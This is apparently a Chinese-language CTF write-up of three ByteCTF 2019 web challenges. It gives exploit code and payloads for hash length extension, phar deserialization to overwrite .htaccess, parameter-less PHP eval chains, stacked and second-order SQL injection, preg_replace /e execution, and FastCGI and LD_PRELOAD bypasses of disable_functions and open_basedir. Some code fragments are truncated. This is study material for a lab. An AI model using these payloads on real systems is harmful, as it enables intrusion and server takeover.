bytectf_web

EZcms

https://www.cnblogs.com/wfzWebSecuity/p/11527392.html
https://github.com/glzjin/bytectf_2019_ezcms
http://www.lovei.org/archives/bytectf2019.html

考点为hash长度扩展+phar反序列化
首先扫描一下目录,可以发现源码泄露。扫了一眼,其中config.php如下:

filename = $filename;
    }

    function check(){
        $content = file_get_contents($this->filename);
        $black_list = ['system','eval','exec','+','passthru','`','assert'];
        foreach ($black_list as $k=>$v){
            if (stripos($content, $v) !== false){
                die("your file make me scare");
            }
        }
        return 1;
    }
}

class File{

    public $filename;
    public $filepath;
    public $checker;

    function __construct($filename, $filepath)
    {
        $this->filepath = $filepath;
        $this->filename = $filename;
    }

    public function view_detail(){

        if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
            die("nonono~");
        }
        $mine = mime_content_type($this->filepath);
        $store_path = $this->open($this->filename, $this->filepath);
        $res['mine'] = $mine;
        $res['store_path'] = $store_path;
        return $res;

    }

    public function open($filename, $filepath){
        $res = "$filename is in $filepath";
        return $res;
    }

    function __destruct()
    {
        if (isset($this->checker)){
            $this->checker->upload_file();
        }
    }

}

class Admin{
    public $size;
    public $checker;
    public $file_tmp;
    public $filename;
    public $upload_dir;
    public $content_check;

    function __construct($filename, $file_tmp, $size)
    {
        $this->upload_dir = 'sandbox/'.md5($_SERVER['REMOTE_ADDR']);
        if (!file_exists($this->upload_dir)){
            mkdir($this->upload_dir, 0777, true);
        }
        if (!is_file($this->upload_dir.'/.htaccess')){
            file_put_contents($this->upload_dir.'/.htaccess', 'lolololol, i control all');
        }
        $this->size = $size;
        $this->filename = $filename;
        $this->file_tmp = $file_tmp;
        $this->content_check = new Check($this->file_tmp);
        $profile = new Profile();
        $this->checker = $profile->is_admin();
    }

    public function upload_file(){

        if (!$this->checker){
            die('u r not admin');
        }
        $this->content_check -> check();
        $tmp = explode(".", $this->filename);
        $ext = end($tmp);
        if ($this->size > 204800){
            die("your file is too big");
        }
        move_uploaded_file($this->file_tmp, $this->upload_dir.'/'.md5($this->filename).'.'.$ext);
    }

    public function __call($name, $arguments)
    {

    }
}

class Profile{

    public $username;
    public $password;
    public $admin;

    public function is_admin(){
        $this->username = $_SESSION['username'];
        $this->password = $_SESSION['password'];
        $secret = "********";
        if ($this->username === "admin" && $this->password != "admin"){
            if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
                return 1;
            }
        }
        return 0;

    }
    function __call($name, $arguments)
    {
        $this->admin->open($this->username, $this->password);
    }
}  

hash长度扩展很简单,hashPump搞一下就ok了,然后再在请求头中放上新的cookie

然后应该是文件上传了,但是没有解析点,所以还是利用.htaccess来解决,但是代码中已经有了.htaccess,所以我们需要覆盖掉已有的文件来重新写一个.htaccess。所以需要phar反序列化来完成文件的覆盖。
所以我们需要找到文件操作的函数,来触发phar反序列化。
view.php中不难发现,view_detail方法中有用到mime_content_type

bytectf_web_第1张图片

phar反序列化的利用链:

  1. 构造一个File类,__construct为将checker指向一个Profile对象,如下:
class File{
    public $filename;
    public $filepath;
    public $checker;
    function __construct($filename, $filepath)
    {
        $this->checker = new Profile();
    }
}
  1. 此时服务器反序列化File对象的时候,会调用File__destruct,即
    function __destruct()
    {
        if (isset($this->checker)){
            $this->checker->upload_file();
        }
    }
  1. 但是Profile类并没有upload_file(),在对象中调用一个不可访问方法时,__call就会被调用
    function __call($name, $arguments)
    {
        $this->admin->open($this->username, $this->password);
    }
  1. 我们也可以重新构造一个Profile类,来将$admin,$username,$password全部重写
class Profile{

    public $username;
    public $password;
    public $admin;

    function __construct(){
        $this->admin = 
        $this->username = 
        $this->password = 
    }
}
  1. 因为三个变量都是可控的,所以我们可以通过控制admin变量来调用所有内置类的open方法。fuzz一下,所有有open方法的类(以后遇到需要用到内置类的同名方法时也能够进行快速fuzz)


其中ziparchive以及ziparchive::open
bytectf_web_第2张图片

  1. 所以Profile中三个变量分别为
class Profile{

    public $username;
    public $password;
    public $admin;

    function __construct(){
        $this->admin = new ZipArchive();
        $this->username = "/var/www/html/sandbox/xxx/.htaccess";
        $this->password = ZIPARCHIVE::OVERWRITE;
    }
}

所以最后的exp为

checker = new Profile();
    }
}

class Profile{

    public $username;
    public $password;
    public $admin;

    function __construct(){
        $this->admin = new ZipArchive();
        $this->username = "/var/www/html/sandbox/xxx/.htaccess";
        $this->password = ZIPARCHIVE::OVERWRITE;
    }
}

$exception = new File();
@unlike('vul.phar');
$phar = new Phar("vul.phar");  
$phar->startBuffering();  
$phar->addFromString("test.txt", "test");   
$phar->setStub("");  
$phar->setMetadata($exception);
$phar->stopBuffering();
?>

然后是上传木马的时候会进行检查关键词

    function check(){
        $content = file_get_contents($this->filename);
        $black_list = ['system','eval','exec','+','passthru','`','assert'];
        foreach ($black_list as $k=>$v){
            if (stripos($content, $v) !== false){
                die("your file make me scare");
            }
        }
        return 1;
    }

关键词用.连接即可。

wp

访问页面,获得hash,使用hashpump


\替换成%,登录时账号为admin,密码为admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00zz
upload.php页面,上传木马文件


上传时将cookie中的hash改成user=f03071a6479f4b51edf874f785c28909

bytectf_web_第3张图片

利用刚才的exp.php生成vul.phar文件,这里会报错表示phar readonly,需要去php.ini中将phar readonly选项前面注释去掉,且设为Off,生成的vul.phar改成vul.txt

再次上传vul.txt,同样要更改cookie

利用filter绕过对phar的过滤 (见suctf2019),上传之后利用php://filter/resource=phar://解析,之后可以发现.htaccess已经消失

view.php?filename=2dab927c19ee49f27ba22d578e2c28c5.txt&filepath=php://filter/resource=phar://./sandbox/a76ab7c1a624927bc33996bdb8e5d69f/2dab927c19ee49f27ba22d578e2c28c5.txt


这时候不能访问upload.php,不然又会重新生成.htaccess文件。直接访问木马文件,得到shell

boring-code

http://www.guildhab.top/?p=1077
https://www.cnblogs.com/wfzWebSecuity/p/11527392.html
https://xz.aliyun.com/t/6305#toc-3
http://www.zyzilxy.top:1220/2019/09/08/bytectf-web-wpmisc-wp/

题目源码如下:

代码分析

可以发现大致可以分为两层:

  1. 如何构造一个可以绕过filter_var()preg_match()file_get_contents()的URL
  2. 如何构造一个无参的,类似a(b(c))这个样式的shell

首先我们先考虑第一层
绕过filter_var()preg_match()file_get_contents(),可以参考:

  1. https://www.cnblogs.com/wfzWebSecuity/p/11139832.html
  2. https://v0w.top/2018/11/23/SSRF-notes/#2-parse-url%E4%B8%8Elibcurl%E5%AF%B9curl%E7%9A%84%E8%A7%A3%E6%9E%90%E5%B7%AE%E5%BC%82

上述文章主要针对exec(curl -s -v)以及file_get_contents()这两种请求方式进行分析:
其中exec(curl -s -v),这种请求方式的,绕过filter_var()preg_match()主要靠parse_url()libcurlurl的解析差异。
但是如果是用file_get_contents()来请求url,我们只知道一种方式同时绕过上述三个函数,就是利用data://伪协议来实施XSS,payload可以为data://baidu.com/plain;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pgo=

但是data伪协议被过滤了。
目前我知道有几种方法:

  1. 氪金购买一个xxxbaidu.com的域名
  2. 使用百度网盘来生成恶意代码的下载链接,来绕过百度域名的限制
    上传一个恶意脚本到网盘,使用f12,可以在network里找到文件链接
    该链接既满足远程文件的读取,又
    可以绕过第一层的限制
https://pcsdata.baidu.com/file/56f6fccae921d07f3c16ec128f50ccc5?fid=1512747330-250528-756792909588834&rt=pr&sign=FDtAER-DCb740ccc5511e5e8fedcff06b081203-GH3j%2FCsuxRONbQnQvsCxyst4cb4%3D&expires=8h&chkv=0&chkbd=0&chkpc=&dp-logid=6277347536586414989&dp-callid=0&dstime=1569656941&r=291388556&vip=0&use=1&channel=chunlei&web=1&app_id=250528&bdstoken=b471aadce60e975ee5748587faa5e9e3&logid=MTU2OTY1Njk0MTk1MDAuMzk1MzE0MTE3MzI2NzI0Nw==&clienttype=0
  1. 百度url的跳转
    bytectf_web_第4张图片

接下来来看第二层

if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
               if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                   echo 'bye~';
               } else {
                   eval($code);
               }
           }

要求构造一个无参的shell,类似a(b(c()))这种形式,这里可以参考一叶飘零师傅,但是题目中又把带et全过滤了,所以有get的函数全部不能使用。

题目提示说flag在上层index.php中,即整个网站的目录结构为

fuzz一下能用的函数


bytectf_web_第5张图片

能用的却不多。
首先如果想要读取上层目录的文件,..是不可少的。我们需要知道的是scandir(getcwd())这个函数会将当前目录下所有文件都放在一个数组中返回,但是getcwd()使用不了,我们可以用.来表示当前目录,如下图:

其中数组第0个元素是.,而第1个元素就是..,所以我们可以用next(scandir('.'))来获取..



因为不能带参数,所以.也不行,所以我们有没有无参的函数可以获得.呢?这里有两种方法:

  1. localeconv()返回一个包含本地数字及货币格式信息的数组。其中第0个就是.这时候再结合current()或者pos()来获得数组指定元素,默认就是第0个。

    bytectf_web_第6张图片

  2. crypt(serialize(array()))首先定义一个数组 , 然后对其进行序列化操作 , 输出序列化字符串 , 这里没什么问题 . 然后就用到一个非常关键的函数 : crypt()。该函数是hash函数,主要是,上述结果中有可能会在字符串结尾产生一个.。然后我们可以再利用chr(ord(strrev())),其中chr(ord())可以将字符串的第一个字符取出来。这样我们也可以完成.的生成

ord() : 解析 string 二进制值第一个字节为 0 到 255 范围的无符号整型类型( 不严禁的说就是将字符串第一个字符转换为 ASCII 编码 )
chr() : 返回相对应于 ASCII 所0指定的单个字符 , 该函数与 ord() 是对应的~

接下来是目录切换
chdir()来完成目录的转换,但是chdir()返回值是bool,紧接着三个方法:

  1. 我们需要接下来的函数是输入bool,输出.来让我们可以进行文件读取的。

    这里需要用到time()+ localtime()函数ByteCTF 2019 WriteUp By W&M
time() : 返回自从 Unix 纪元( 格林威治时间 1970 年 1 月 1 日 00:00:00 )到当前时间的秒数 , 也就是返回一个时间戳
localtime() : 以数值数组和关联数组的形式输出本地时间 . 

time() 的参数为 void 也就是说引入任意的参数都不会影响 , 其输出( 不用去管那个警告 ) , 但是返回的时间戳无法成为" . "
localtime() 数组,可以提取出秒数的值,用chr转换为字符串.,即在 46s 时 chr(pos(localtime()))就会返回 ” . ”


再根据readfile(end('.'))读取当前目录最后一个文件,即index.php,所以最后payload

echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
  1. 上述payload需要多发几次,让时间刚好卡在46秒。除了用时间函数来获取46这个数字之外,还可以用各种数学的方法来获得46。ByteCTF 2019 WriteUp Kn0ck
    核心思路是:phpvesion()会获取当前的php版本号,然后使用floor()来取得第一个数字(7)。(反正我只能说真的是神仙
    给个payload
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))
sqrt() : 返回一个数字的平方根
tan() : 返回一个数字的正切
cosh() : 返回一个数字的双曲余弦
sinh() : 返回一个数字的双曲正弦
ceil() : 返回不小于一个数字的下一个整数 , 也就是向上取整

bytectf_web_第7张图片

再通过chr()函数就可以返回ASCII编码为 46 的字符 , 也就为. , 后面的步骤就和之前一样 , 跳转到根目录 , 然后读取index.php文件。

  1. 刚才获得chdir()返回的bool,然后可以利用if语句来进行当前目录下的文件的读取,payload如下:
if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))));

babyblog

老规矩,扫描得到源码

漏洞分析

首先注意到下面两段代码,分别来自writing.phpedit.php

if(isset($_POST['title']) && isset($_POST['content'])){
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql->query("insert into article (userid,title,content) values (" . $_SESSION['id'] . ", '$title','$content');");
    exit("");
}else{
    include("templates/writing.html");
    exit();
}
if($_SESSION['id'] == $row['userid']){
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';");
    exit("");
}else{
    exit("");
    }

第一段代码是将titlecontent经过addslashes()过滤之后插入数据库之中。

$sql->query("insert into article (userid,title,content) values (" . $_SESSION['id'] . ", '$title','$content');");

第二段代码直接将数据库的title查询出来直接拼接到update语句中

$sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';");

这里存在一个二次注入,我们可以将payload通过writing.php写入库中,再通过editing.php重新拼接起来。
但是config.php中将postget方法所传递的参数给加了一层waf

function SafeFilter(&$arr){   
    foreach ($arr as $key => $value) {
        if (!is_array($value)){
            $filter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\")|(\+|-|~|!|@:=|" . urldecode('%0B') . ").+?)FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
            if(preg_match('/' . $filter . '/is', $value)){
                exit("");
            }
        }else{
            SafeFilter($arr[$key]);
        }
    }
}

$_GET && SafeFilter($_GET);
$_POST && SafeFilter($_POST);

这里我们可以根据这里的正则,在本地测试一下自己的代码是否能过waf

 $value) {
        if (!is_array($value)){
            $filter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\")|(\+|-|~|!|@:=|" . urldecode('%0B') . ").+?)FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
            if(preg_match('/' . $filter . '/is', $value)){
                echo preg_replace('/'.$filter.'/is',"@@@",$value);
                echo "1111";
            }
            else{
                echo "222";
            }
        }else{
            SafeFilter($arr[$key]);
        }
    }
}

$_GET && SafeFilter($_GET);
?>

其中我们知道,当我们注册一个用户的时候,我们的isvip属性是默认设为0的

$sql->query("insert into users (username,password,isvip) values ('$username', '$password',0);");

这里可以用两种方法得到isvip值为1的用户。

  1. PDO在php5.3以后是支持堆叠查询,使用堆叠注入。payload如下:
Err0rzz';SET @SQL=0x757064617465207573657273207365742069737669703d3120776865726520757365726e616d653d2245727230727a7a223b;PREPARE a FROM @SQL;EXECUTE a;#

其中那串十六进制是update users set isvip=1 where username="Err0rzz";

bytectf_web_第8张图片


bytectf_web_第9张图片

bytectf_web_第10张图片

  1. 该方法需要数据库中原本就有isvip为1的用户,从而注得账号密码,这里利用异或注入1'^(ascii(substr((select(group_concat(schema_name)) from (information_schema.schemata)),1,1))>1)^'1,完整的注入脚本https://xz.aliyun.com/t/6324#toc-5

接下来可以看到replace.php中有个可以代码执行的函数preg_replace()

$content = addslashes(preg_replace("/" . $_POST['find'] . "/", $_POST['replace'], $row['content']));

$replace会被当做代码执行,而且因为php版本5.4以下都可以用%00来截断,所以我们可以用%00来截断掉
"/" . $_POST['find'] . "/"后面的那个/
所以最后的payload如下:

$_POST['find']=.*/e%00  
$_POST['replace']=phpinfo(); 

bytectf_web_第11张图片

接下来通过copy命令进行shell写入
bytectf_web_第12张图片

__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
        echo "{$f}
"; } ?>

包含该文件可以绕过open_dir的限制,浏览到根目录文件


用同样的方法上传FastCGI脚本

_host = $host;
    $this->_port = $port;
}
public function setKeepAlive( $b ) {
          $this->_keepAlive = (boolean) $b;
          if ( ! $this->_keepAlive && $this->_sock ) {
              fclose( $this->_sock );
    }
}
public function getKeepAlive() {
    return $this->_keepAlive;
}
public function setPersistentSocket( $b ) {
          $was_persistent          = ( $this->_sock && $this->_persistentSocket );
          $this->_persistentSocket = (boolean) $b;
          if ( ! $this->_persistentSocket && $was_persistent ) {
              fclose( $this->_sock );
    }
}
public function getPersistentSocket() {
    return $this->_persistentSocket;
}
public function setConnectTimeout( $timeoutMs ) {
          $this->_connectTimeout = $timeoutMs;
}
public function getConnectTimeout() {
    return $this->_connectTimeout;
}
public function setReadWriteTimeout( $timeoutMs ) {
          $this->_readWriteTimeout = $timeoutMs;
          $this->set_ms_timeout( $this->_readWriteTimeout );
}
public function getReadWriteTimeout() {
    return $this->_readWriteTimeout;
}
private function set_ms_timeout( $timeoutMs ) {
          if ( ! $this->_sock ) {
        return false;
    }
    return stream_set_timeout( $this->_sock, floor( $timeoutMs / 1000 ), ( $timeoutMs % 1000 ) * 1000 );
}
private function connect() {
    if ( ! $this->_sock ) {
              if ( $this->_persistentSocket ) {
                  $this->_sock = pfsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );
              } else {
                  $this->_sock = fsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );
              }
              if ( ! $this->_sock ) {
                  throw new Exception( 'Unable to connect to FastCGI application: ' . $errstr );
              }
              if ( ! $this->set_ms_timeout( $this->_readWriteTimeout ) ) {
            throw new Exception( 'Unable to set timeout on socket' );
        }
    }
}
private function buildPacket( $type, $content, $requestId = 1 ) {
          $clen = strlen( $content );
    return chr( self::VERSION_1 )         /* version */
           . chr( $type )                    /* type */
                 . chr( ( $requestId >> 8 ) & 0xFF ) /* requestIdB1 */
           . chr( $requestId & 0xFF )        /* requestIdB0 */
                 . chr( ( $clen >> 8 ) & 0xFF )     /* contentLengthB1 */
           . chr( $clen & 0xFF )             /* contentLengthB0 */
                 . chr( 0 )                        /* paddingLength */
                 . chr( 0 )                        /* reserved */
                 . $content;                     /* content */
}
private function buildNvpair( $name, $value ) {
    $nlen = strlen( $name );
    $vlen = strlen( $value );
    if ( $nlen < 128 ) {
              /* nameLengthB0 */
              $nvpair = chr( $nlen );
          } else {
              /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
              $nvpair = chr( ( $nlen >> 24 ) | 0x80 ) . chr( ( $nlen >> 16 ) & 0xFF ) . chr( ( $nlen >> 8 ) & 0xFF ) . chr( $nlen & 0xFF );
          }
          if ( $vlen < 128 ) {
        /* valueLengthB0 */
        $nvpair .= chr( $vlen );
    } else {
        /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
        $nvpair .= chr( ( $vlen >> 24 ) | 0x80 ) . chr( ( $vlen >> 16 ) & 0xFF ) . chr( ( $vlen >> 8 ) & 0xFF ) . chr( $vlen & 0xFF );
    }
    /* nameData & valueData */
    return $nvpair . $name . $value;
}
private function readNvpair( $data, $length = null ) {
    $array = array();
          if ( $length === null ) {
        $length = strlen( $data );
    }
    $p = 0;
          while ( $p != $length ) {
              $nlen = ord( $data{$p ++} );
              if ( $nlen >= 128 ) {
                  $nlen = ( $nlen & 0x7F << 24 );
                  $nlen |= ( ord( $data{$p ++} ) << 16 );
                  $nlen |= ( ord( $data{$p ++} ) << 8 );
                  $nlen |= ( ord( $data{$p ++} ) );
              }
              $vlen = ord( $data{$p ++} );
              if ( $vlen >= 128 ) {
                  $vlen = ( $nlen & 0x7F << 24 );
                  $vlen |= ( ord( $data{$p ++} ) << 16 );
                  $vlen |= ( ord( $data{$p ++} ) << 8 );
                  $vlen |= ( ord( $data{$p ++} ) );
              }
              $array[ substr( $data, $p, $nlen ) ] = substr( $data, $p + $nlen, $vlen );
              $p                                   += ( $nlen + $vlen );
    }
    return $array;
}
private function decodePacketHeader( $data ) {
          $ret                  = array();
          $ret['version']       = ord( $data{0} );
          $ret['type']          = ord( $data{1} );
          $ret['requestId']     = ( ord( $data{2} ) << 8 ) + ord( $data{3} );
          $ret['contentLength'] = ( ord( $data{4} ) << 8 ) + ord( $data{5} );
          $ret['paddingLength'] = ord( $data{6} );
          $ret['reserved']      = ord( $data{7} );
    return $ret;
}
private function readPacket() {
    if ( $packet = fread( $this->_sock, self::HEADER_LEN ) ) {
        $resp            = $this->decodePacketHeader( $packet );
              $resp['content'] = '';
        if ( $resp['contentLength'] ) {
                  $len = $resp['contentLength'];
                  while ( $len && ( $buf = fread( $this->_sock, $len ) ) !== false ) {
                      $len             -= strlen( $buf );
                      $resp['content'] .= $buf;
                  }
              }
              if ( $resp['paddingLength'] ) {
            $buf = fread( $this->_sock, $resp['paddingLength'] );
        }
        return $resp;
    } else {
        return false;
    }
}
public function getValues( array $requestedInfo ) {
          $this->connect();
          $request = '';
          foreach ( $requestedInfo as $info ) {
              $request .= $this->buildNvpair( $info, '' );
          }
          fwrite( $this->_sock, $this->buildPacket( self::GET_VALUES, $request, 0 ) );
          $resp = $this->readPacket();
          if ( $resp['type'] == self::GET_VALUES_RESULT ) {
              return $this->readNvpair( $resp['content'], $resp['length'] );
    } else {
        throw new Exception( 'Unexpected response type, expecting GET_VALUES_RESULT' );
    }
}
public function request( array $params, $stdin ) {
    $id = $this->async_request( $params, $stdin );
    return $this->wait_for_response( $id );
}
public function async_request( array $params, $stdin ) {
    $this->connect();
          // Pick random number between 1 and max 16 bit unsigned int 65535
          $id = mt_rand( 1, ( 1 << 16 ) - 1 );
    // Using persistent sockets implies you want them keept alive by server!
    $keepAlive     = intval( $this->_keepAlive || $this->_persistentSocket );
          $request       = $this->buildPacket( self::BEGIN_REQUEST
              , chr( 0 ) . chr( self::RESPONDER ) . chr( $keepAlive ) . str_repeat( chr( 0 ), 5 )
        , $id
          );
          $paramsRequest = '';
    foreach ( $params as $key => $value ) {
              $paramsRequest .= $this->buildNvpair( $key, $value, $id );
          }
          if ( $paramsRequest ) {
        $request .= $this->buildPacket( self::PARAMS, $paramsRequest, $id );
    }
    $request .= $this->buildPacket( self::PARAMS, '', $id );
          if ( $stdin ) {
        $request .= $this->buildPacket( self::STDIN, $stdin, $id );
    }
    $request .= $this->buildPacket( self::STDIN, '', $id );
          if ( fwrite( $this->_sock, $request ) === false || fflush( $this->_sock ) === false ) {
        $info = stream_get_meta_data( $this->_sock );
        if ( $info['timed_out'] ) {
                  throw new TimedOutException( 'Write timed out' );
              }
              // Broken pipe, tear down so future requests might succeed
              fclose( $this->_sock );
        throw new Exception( 'Failed to write request to socket' );
    }
    $this->_requests[ $id ] = array(
        'state'    => self::REQ_STATE_WRITTEN,
        'response' => null
    );
    return $id;
}
public function wait_for_response( $requestId, $timeoutMs = 0 ) {
    if ( ! isset( $this->_requests[ $requestId ] ) ) {
        throw new Exception( 'Invalid request id given' );
    }
    if ( $this->_requests[ $requestId ]['state'] == self::REQ_STATE_OK
         || $this->_requests[ $requestId ]['state'] == self::REQ_STATE_ERR
    ) {
        return $this->_requests[ $requestId ]['response'];
    }
    if ( $timeoutMs > 0 ) {
              // Reset timeout on socket for now
              $this->set_ms_timeout( $timeoutMs );
          } else {
              $timeoutMs = $this->_readWriteTimeout;
    }
    $startTime = microtime( true );
          do {
              $resp = $this->readPacket();
              if ( $resp['type'] == self::STDOUT || $resp['type'] == self::STDERR ) {
                  if ( $resp['type'] == self::STDERR ) {
                      $this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_ERR;
                  }
                  $this->_requests[ $resp['requestId'] ]['response'] .= $resp['content'];
              }
              if ( $resp['type'] == self::END_REQUEST ) {
                  $this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_OK;
                  if ( $resp['requestId'] == $requestId ) {
                      break;
                  }
              }
              if ( microtime( true ) - $startTime >= ( $timeoutMs * 1000 ) ) {
                  // Reset
                  $this->set_ms_timeout( $this->_readWriteTimeout );
                  throw new Exception( 'Timed out' );
              }
          } while ( $resp );
    if ( ! is_array( $resp ) ) {
              $info = stream_get_meta_data( $this->_sock );
              // We must reset timeout but it must be AFTER we get info
              $this->set_ms_timeout( $this->_readWriteTimeout );
              if ( $info['timed_out'] ) {
                  throw new TimedOutException( 'Read timed out' );
              }
              if ( $info['unread_bytes'] == 0
                   && $info['blocked']
                   && $info['eof'] ) {
                  throw new ForbiddenException( 'Not in white list. Check listen.allowed_clients.' );
              }
              throw new Exception( 'Read failed' );
          }
          // Reset timeout
          $this->set_ms_timeout( $this->_readWriteTimeout );
          switch ( ord( $resp['content']{4} ) ) {
        case self::CANT_MPX_CONN:
            throw new Exception( 'This app can't multiplex [CANT_MPX_CONN]' );
            break;
        case self::OVERLOADED:
            throw new Exception( 'New request rejected; too busy [OVERLOADED]' );
            break;
        case self::UNKNOWN_ROLE:
            throw new Exception( 'Role value not known [UNKNOWN_ROLE]' );
            break;
        case self::REQUEST_COMPLETE:
            return $this->_requests[ $requestId ]['response'];
    }
}
}
$client    = new Client("unix:///tmp/php-cgi.sock", -1);
  $php_value = "open_basedir = /";
$filepath  = '/tmp/readflag.php';
  $content   = 'Err0rzz';
echo $client->request(
      array(
          'GATEWAY_INTERFACE' => 'FastCGI/1.0',
          'REQUEST_METHOD'    => 'POST',
          'SCRIPT_FILENAME'   => $filepath,
    'SERVER_SOFTWARE'   => 'php/fcgiclient',
    'REMOTE_ADDR'       => '127.0.0.1',
    'REMOTE_PORT'       => '9985',
    'SERVER_ADDR'       => '127.0.0.1',
    'SERVER_PORT'       => '80',
    'SERVER_NAME'       => 'mag-tured',
    'SERVER_PROTOCOL'   => 'HTTP/1.1',
    'CONTENT_TYPE'      => 'application/x-www-form-urlencoded',
    'CONTENT_LENGTH'    => strlen( $content ),
          'PHP_VALUE'         => $php_value,
),
$content
);

脚本中php_value的值是我们的FastCGI要传给FPM的值用来修改php.ini,并且根据SCRIPT_FILENAMEphp文件进行执行/tmp/readflag.php
同时脚本还要修改的地方,就是使用套接字协议去加载socketNginx连接fastcgi的方式有2种:TCPunix domain socket,脚本使用的即第二种形式。根据不同的php版本,找不同的fastcgi的套接字。在0CTF的题目中,大家用的是php7.2默认的FPM套接字/run/php/php7.3-fpm.sock。其实FastCGI/FPM套接字都可以用。

出题人在tmp目录已经给我们FastCGI的套接字/tmp/php-cgi.sock,直接修改脚本new Client("unix:///tmp/php-cgi.sock", -1)
同时我们还要上传一个readflag.php文件作为脚本的SCRIPT_FILENAME,这里我让FPM为我们加载这样一个php脚本,成功读到readflag程序。

buuoj的实例中,由于没有用FPM/FastCGI,所以只能用error_log+putenv

#zz.c
#define _GNU_SOURCE
#include 
#include 
#include 

__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
    system("/readflag > /tmp/flag");
}
# exp.php

上传上面两个文件到/tmp下,然后包含exp.php即可。
除了error_log外,mail也能调用了外部进程sendmail

https://www.anquanke.com/post/id/175403#h2-3
https://www.anquanke.com/post/id/186186#h2-7
https://xz.aliyun.com/t/5598?tdsourcetag=s_pctim_aiomsg#toc-2

你可能感兴趣的:(bytectf_web)